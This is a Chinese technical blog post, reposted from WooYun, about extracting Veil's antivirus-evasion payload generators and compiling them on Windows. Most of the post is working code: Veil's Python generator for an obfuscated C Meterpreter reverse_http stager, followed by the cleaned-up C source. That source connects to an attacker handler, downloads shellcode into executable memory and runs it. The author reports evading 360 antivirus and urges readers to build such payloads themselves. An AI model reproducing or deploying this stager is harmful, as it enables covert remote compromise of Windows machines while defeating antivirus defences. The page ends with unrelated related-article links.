作者:RedFree

本文转自乌云

Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload。但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Windows切换来切换去很不方便、让我的渣本安装个虚拟机更是浪费资源。因此,在Windows下生成免杀Payload已成为当务之急。

一开始我选择了在Kali下使用Veil生成Python版的Payload然后再到windows下使用Py2exe或是pyinstaller来编译打包生成可执行文件。但是这种方法让我感到无比蛋疼…… 第一:Py2exe不支持64位的python(我的系统中已经安装了python 2.7 X64以及各种python的开发工具,卸载了再安装、配置是一件令人头痛的事);第二:pyinstaller虽然支持使用64位的python打包,但是打包出来的程序也是64位的(这让32位的系统情何以堪);第三:编译打包后的Payload奇大无比(大约3-7MB) 
, 
打包时可以选择生成一个文件(所有运行所须的库及dll都打包到exe中),也可以选择生成多个文件(Payload和所需的库分开。Payload大约1M多 
 
,剩下的十几个文件又让人感到头痛,难道让我一个一个上传不成)。最后虽然用这种方法获得了免杀的Payload,但是还是不得不放弃这种方法。

既然无捷径可走了,那还是静下心来去翻一翻Veil吧。下载Veil,在Veil根目录下的\modules\payloads文件件中看到了生成各种免杀Payload的.py文件。共7类: 
auxiliary 

cs 
native 
powershell 
python 
ruby

先从比较熟悉的“c”看起吧,在\modules\payloads\c\meterpreter\下有4个用来生成c代码的py文件。 
rev_http.py 
rev_http_service.py 
rev_tcp.py 
rev_tcp_service.py

打开rev_http.py查看: 
"""

Obfuscated, pure C windows/meterpreter/reverse_http.

Implements various randomized string processing functions in an 
attempt to obfuscate the call tree. 
Also compatible with Cobalt-Strike's Beacon.

Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader

Module built by @harmj0y

"""

import random 
from modules.common import helpers

class Payload: 
     
    def __init__(self): 
        # required options 
        self.shortname = "meter_rev_http" 
        self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" 
        self.language = "c" 
        self.extension = "c" 
        self.rating = "Excellent" 
         
        # optional 
        # options we require user ineraction for- format is {Option : [Value, Description]]} 
        self.required_options = {"LHOST" : ["", "IP of the metasploit handler"], 
                                "LPORT" : ["8080", "Port of the metasploit handler"], 
                                "compile_to_exe" : ["Y", "Compile to an executable"]} 
         
    def generate(self): 
         
        sumvalue_name = helpers.randomString() 
        checksum_name = helpers.randomString() 
        winsock_init_name = helpers.randomString() 
        punt_name = helpers.randomString() 
        wsconnect_name = helpers.randomString() 
         
        # the real includes needed 
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"] 
         
        # max length string for obfuscation 
        global_max_string_length = 10000 
        max_string_length = random.randint(100,global_max_string_length) 
        max_num_strings = 10000 
         
        # TODO: add in more string processing functions 
        randName1 = helpers.randomString() # reverse() 
        randName2 = helpers.randomString() # doubles characters 
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), 
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) 
                            ] 
                             
        random.shuffle(stringModFunctions) 
         
        # obfuscation "logical nop" string generation functions 
        randString1 = helpers.randomString(50) 
        randName1 = helpers.randomString() 
        randVar1 = helpers.randomString() 
        randName2 = helpers.randomString() 
        randVar2 = helpers.randomString() 
        randVar3 = helpers.randomString() 
        randName3 = helpers.randomString() 
        randVar4 = helpers.randomString() 
        randVar5 = helpers.randomString()

stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), 
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), 
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5)) 
                             ] 
        random.shuffle(stringGenFunctions) 
         
        # obfuscation - add in our fake includes 
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", 
                        "#include <limits.h>", "#include <assert.h>"] 
        t = random.randint(1,7) 
        for x in xrange(1, random.randint(1,7)): 
            includes.append(fake_includes[x]) 
         
        # shuffle up real/fake includes 
        random.shuffle(includes) 
         
        code = "#define _WIN32_WINNT 0x0500\n" 
        code += "#include <winsock2.h>\n" 
        code += "\n".join(includes) + "\n"

#string mod functions 
        code += stringModFunctions[0][1] + "\n" 
        code += stringModFunctions[1][1] + "\n"

# build the sumValue function 
        string_arg_name = helpers.randomString() 
        retval_name = helpers.randomString() 
        code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) 
        code += "int %s=0; int i;" %(retval_name) 
        code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name) 
        code += "return (%s %% 256);}\n" %(retval_name) 
         
        # build the winsock_init function 
        wVersionRequested_name = helpers.randomString() 
        wsaData_name = helpers.randomString() 
        code += "void %s() {" % (winsock_init_name) 
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name) 
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) 
         
        # first logical nop string function 
        code += stringGenFunctions[0][1] + "\n" 
         
        # build punt function 
        my_socket_name = helpers.randomString() 
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) 
        code += "closesocket(%s);" %(my_socket_name) 
        code += "WSACleanup();" 
        code += "exit(1);}\n" 
         
        # second logical nop string function 
        code += stringGenFunctions[1][1] + "\n"

# build the reverse_http uri checksum function 
        randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62)) 
        characters_name = helpers.randomString() 
        string_var_name = helpers.randomString() 
        code += "char* %s(){" %(checksum_name) 
        code += "srand (time(NULL));int i;" 
        code += "char %s[] = \"%s\";" %(characters_name, randchars) 
        code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name) 
        code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name) 
        code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) 
        code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)

# third logical nop string function 
        code += stringGenFunctions[2][1] + "\n" 
         
        # build wsconnect function 
        target_name = helpers.randomString() 
        sock_name = helpers.randomString() 
        my_socket_name = helpers.randomString() 
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) 
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) 
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); 
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) 
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) 
        code += "%s.sin_family = AF_INET;" %(sock_name) 
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) 
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) 
        code += "return %s;}\n" %(my_socket_name) 
         
        # build main() code 
        size_name = helpers.randomString() 
        buffer_name = helpers.randomString() 
        function_name = helpers.randomString() 
        my_socket_name = helpers.randomString() 
        count_name = helpers.randomString() 
        request_buf_name = helpers.randomString() 
        buf_counter_name = helpers.randomString() 
        bytes_read_name = helpers.randomString() 
         
        # obfuscation stuff 
        char_array_name_1 = helpers.randomString() 
        number_of_strings_1 = random.randint(1,max_num_strings) 
        char_array_name_2 = helpers.randomString() 
        number_of_strings_2 = random.randint(1,max_num_strings) 
        char_array_name_3 = helpers.randomString() 
        number_of_strings_3 = random.randint(1,max_num_strings)

# main method code 
        code += "int main(int argc, char * argv[]) {" 
        code += "char * %s; int i;" %(buffer_name)

# obfuscation 
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)

# malloc our first string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) 
         
        # call the winsock init function 
        code += "%s();" %(winsock_init_name)

# obfuscation 
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)

# create our socket 
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) 
         
        # malloc our second string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) 
         
        # build and send the HTTP request to the handler 
        code += "char %s[200];" %(request_buf_name) 
        code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0]self.required_options["LPORT"][0], checksum_name) 
        code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name) 
        code += "Sleep(300);"

# TODO: obfuscate/randomize the size of the page allocated 
        code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name) 
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) 
         
        # first string obfuscation method 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) 
         
        # read the full server response into the buffer 
        code += "char * %s = %s;" % (buf_counter_name,buffer_name) 
        code += "int %s; do {" % (bytes_read_name) 
        code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) 
        code += "%s += %s; }" % (buf_counter_name,bytes_read_name) 
        code += "while ( %s > 0 );" % (bytes_read_name)

# malloc our third string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) 
         
        # second string obfuscation method 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) 
         
        # real code 
        code += "closesocket(%s); WSACleanup();" %(my_socket_name) 
        code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)

# third string obfuscation method (never called) 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])         
        code += "return 0;}\n"

return code
可以看到generate()最终返回了混淆后的c代码,在生成的过程中LHOST和LPORT(默认8080)由用户定义(上面代码加粗的部分)。 
c代码中几乎所有的变量都使用helpers.randomString()来随机生成,代码中的整型数字则使用helpers.obfuscateNum()来进行混淆(例如:5会写成2*2+1或是5*1+0)。 
通过还原变量名称、整理代码,最终我得到了c_rev_http的源码。 
 
整理后: 
#define _WIN32_WINNT 0x0500 
#include <winsock2.h> 
#include <time.h> 
#include <time.h> 
#include <stdio.h> 
#include <windows.h> 
#include <string.h> 
#include <stdlib.h> 
char* Name2(char* s) 

  char *result =  malloc(strlen(s)*2+1); 
  int i; 
  for (i=0; i<strlen(s)*2+1; i++) 
  { 
    result[i] = s[i/2]; 
    result[i+1]=s[i/2]; 
  } 
  result[i] = '\0'; 
  return result; 
}

char* Name1(const char *t) 

  int length= strlen(t); 
  int i; 
  char* t2 = (char*)malloc((length+1) * sizeof(char)); 
  for(i=0;i<length;i++) 
  { 
    t2[(length-1)-i]=t[i]; 
  } 
  t2[length] = '\0'; 
  return t2; 
}

int sumvalue(char string_arg[]) 

  int retval=0; 
  int i; 
  for (i=0; i<strlen(string_arg);++i) 
    retval += string_arg[i]; 
  return (retval % 256); 
}

void winsock_init() 

  WORD wVersionRequested = MAKEWORD((0*4+2), (0*4+2)); 
  WSADATA wsaData; 
  if (WSAStartup(wVersionRequested, &wsaData) < 0) 
  { 
    WSACleanup(); 
    exit(1); 
  } 
}

char* Name1() 

  char *Var1 = Name2("String1"); 
  return strstr( Var1, "i" ); 
}

void punt(SOCKET my_socket) 

  closesocket(my_socket); 
  WSACleanup(); 
  exit(1); 
}

char* Name2() 

  char Var2[9509], Var3[9509/2]; 
  strcpy(Var2,"kaJYJXmReftagATDFOufqYAGQRnBQtXMmXKQmkCvOzNrkKTARk"); 
  strcpy(Var3,"CmSLJRpqtBItijCukAADNDkwhLdUHHEzzjCNwrFPHinTjiWhBm"); 
  return Name1(strcat( Var2, Var3)); 
}

char* checksum() 

  srand (time(NULL)); 
  int i; 
  char characters[] = "S3bwPoskmAy2zCBLxI089eGNEv6FMYZc74QnrljgUtiTahuJKfXqOpRDW1VdH5"; 
  char* string_var = malloc(5); 
  string_var[4] = 0; 
  while (1<2) 
  { 
    for(i=0;i<3;++i) 
    { 
      string_var[i] = characters[rand() % (sizeof(characters)-1)]; 
    } 
    for(i=0;i<sizeof(characters);i++) 
    { 
      string_var[3] = characters[i]; 
      if (sumvalue(string_var) == 92) return string_var; 
    } 
  } 
  return 0;


char* Name3() 

  char Var4[9509] = "ZcFFymUJbCDPZbeUvuOMXuZwmNpZEpMwpnKvyfEqXUyfHJVmxp"; 
  char *Var5 = strupr(Var4); 
  return strlwr(Var5); 
}

SOCKET wsconnect() 

  struct hostent * target; 
  struct sockaddr_in sock; 
  SOCKET my_socket; 
  my_socket = socket(AF_INET, SOCK_STREAM, 0); 
  if (my_socket == INVALID_SOCKET) 
    punt(my_socket); 
  target = gethostbyname("192.168.199.124");//rev_http IP 
  if (target == NULL) 
    punt(my_socket); 
  memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); 
  sock.sin_family = AF_INET; 
  sock.sin_port = htons(9527);//rev_http Port 
  if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) 
    punt(my_socket); 
  return my_socket; 
}

int main(int argc, char * argv[]) 

  char * buffer; 
  int i; 
  char* char_array1[8776]; 
  for (i = 0;  i < 8776;  ++i) 
    char_array1[i] = malloc (9719); 
  winsock_init(); 
  char* char_array2[118]; 
  SOCKET my_socket = wsconnect(); 
  for (i = 0;  i < 118;  ++i) 
    char_array2[i] = malloc (9721); 
  char request_buf[200]; 
  sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.199.124:9527\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum()); 
  send(my_socket,request_buf, strlen( request_buf ),0); 
  Sleep(300); 
  buffer = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
  char* char_array3[8279]; 
  for (i=0; i<8776; ++i) 
  { 
    strcpy(char_array1[i], Name1()); 
  } 
  char * buf_counter = buffer; 
  int bytes_read; 
  do 
  { 
    bytes_read = recv(my_socket, buf_counter, 1024, 0); 
    buf_counter += bytes_read; 
  } 
  while ( bytes_read > 0 ); 
  for (i = 0;  i < 8279;  ++i) 
    char_array3[i] = malloc (9549); 
  for (i=0; i<118; ++i) 
  { 
    strcpy(char_array2[i], Name2()); 
  } 
  closesocket(my_socket); 
  WSACleanup(); 
  ((void (*)())strstr(buffer, "\r\n\r\n") + 4)(); 
  for (i=0; i<8279; ++i) 
  { 
    strcpy(char_array3[i], Name3()); 
  } 
  return 0; 
}

    因上面的代码是使用GNU/GCC来编译的,所以在windows下直接使用vc6编译会报一大堆错误。没办法,拿起大学时代那本《C语言程序设计与应用教程》回顾了半天,修改代码,最终通过编译。 
 
    编译后体积185kb(可加壳缩小体积),虽然比metasploit生成的要大,但已经满足要求。 
    使用同样的方法,依次还原了c_rev_http_service、c_rev_tcp、c_rev_tcp_service、cs_rev_http、cs_rev_https、cs_rev_tcp的源码(powershell和ruby的还没有看)。 
    编译生成对应的payload比较一下体积并测试免杀和连接效果: 
    体积对比: 
 
可见C#代码编译后的Payload更小,竟然只有5kb…… cs_rev_tcp使用了三个不同版本的.NET csc编译。 
    免杀效果:(360安全卫士最新木马库查杀) 
 
 
    连接测试: 
c_rev_tcp 
 
c_rev_http 
 
cs_rev_tcp 
 
cs_rev_http 
 
cs_rev_https 
 
                           想在windows上获得msf免杀payload的同学赶快行动起来吧!

迁移Veil:手工打造Windows下编译的免杀Payload的更多相关文章

  1. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  2. Windows下编译memcached-1.4.5(32bit和64bit)

    1.简介 Memcached 是一个高性能的分布式内存对象缓存系统.它通过将数据缓存在内存中来减少对数据库和文件系统的访问,减轻数据库及操作系统的负担,提高应用系统的速度. 目前已经很多系统应用了me ...

  3. [转] Windows下编译OpenSSL

    简述 OpenSSL是一个开源的第三方库,它实现了SSL(Secure SocketLayer)和TLS(Transport Layer Security)协议,被广泛企业应用所采用.对于一般的开发人 ...

  4. Windows下编译objective-C

    Windows下编译objective-C 2011-08-31 14:32 630人阅读 评论(0) 收藏 举报 windowscocoa工具objective clibraryxcode   目录 ...

  5. 在Windows下编译FFmpeg详细说明

    MinGW:一个可自由使用和自由发布的Windows特定头文件和使用GNC工具集导入库的集合,允许你生成本地的Windows程序而不需要第三方C运行时 MinGW,即 Minimalist GNU F ...

  6. 如何在WINDOWS下编译BOOST C++库 .

    如何在WINDOWS下编译BOOST C++库 cheungmine 2008-6-25   写出来,怕自己以后忘记了,也为初学者参考.使用VC8.0和boost1.35.0.   1)下载boost ...

  7. 在Windows下编译OpenSSL(VS2005和VC6)

    需要说明的是请一定安装openssl-0.9.8a .  openssl-1.0.0我没有编译成功. 如何在Windows下编译OpenSSL (Vs2005使用Vc8的cl编译器)1.安装Activ ...

  8. windows下编译java源文件的编码错误

    import java.util.Arrays;public class ArrayAsAReference{ public static void main(String[] args) { int ...

  9. Windows下编译SDL

    Windows下编译SDL的理由我就不多说了,无论用VS来编译或调试SDL库都是很方便的.而且SDL源代码中也包含了VC工程,你所要做的只是解压VC工程,进行适当的配置,然后编译.调试. 编译SDL大 ...

随机推荐

  1. rest项目的基础返回类设计

    package com.hmy.erp.api.vo; import java.io.Serializable; import lombok.Data; /** * erp基本状态返回类 * * @a ...

  2. 【友盟统计报表解读】之错误分析iOS版

    http://bbs.umeng.com/thread-6908-1-1.html 错误分析功能说明1.概述 错误分析是友盟为移动开发者提供的Crash收集和分析工具,帮助开发者监测App在移动设备上 ...

  3. trickle charging current is 0A ?

    Recently, I test trickle charging current of the smart phone. It's 0A. ?????????????????????? yes, i ...

  4. Linux内核实践之工作队列【转】

    转自:http://blog.csdn.net/bullbat/article/details/7410563 版权声明:本文为博主原创文章,未经博主允许不得转载. 工作队列(work queue)是 ...

  5. 27.Remove Element---两指针

    题目链接:https://leetcode.com/problems/remove-element/description/ 题目大意:给出一个数组和一个值,从数组中删除与当前值相等的值,并将数组长度 ...

  6. Centos 6.3防火墙端口放行

    vi /etc/sysconfig/iptables #防火墙增加 -A INPUT -p tcp -m state --state NEW -m tcp --dport -j ACCEPT serv ...

  7. 如何在natTable表格上添加双击事件

    在项目当中,有时候需要双击表格中的某一行触发一个事件或者一次数据请求,这时候,我们就需要在表格中绑定相关事件,思路实际上很简单,添加一个绑定事件就ok了,那么怎么添加呢?简单实现如下: 1.创建绑定双 ...

  8. Codeforces538F A Heap of Heaps(函数式线段树)

    题意:给你一个数组a[n],对于数组每次建立一个完全k叉树,对于每个节点,如果父节点的值比这个节点的值大,那么就是一个违规点,统计出1~n-1完全叉树下的违规点的各自的个数. 一个直觉的思想就是暴力, ...

  9. Appium+python自动化22-Appium Desktop【转载】

    Appium Desktop 原滋原味的官方文档 Appium Desktop是一款用于Mac.Windows和Linux的开源应用,它提供了Appium自动化服务器在一个漂亮灵活的UI中的强大功能. ...

  10. Appium+python自动化8-Appium Python API【转载】

    前言: Appium Python API全集,不知道哪个大神整理的,这里贴出来分享给大家. 1.contexts contexts(self): Returns the contexts withi ...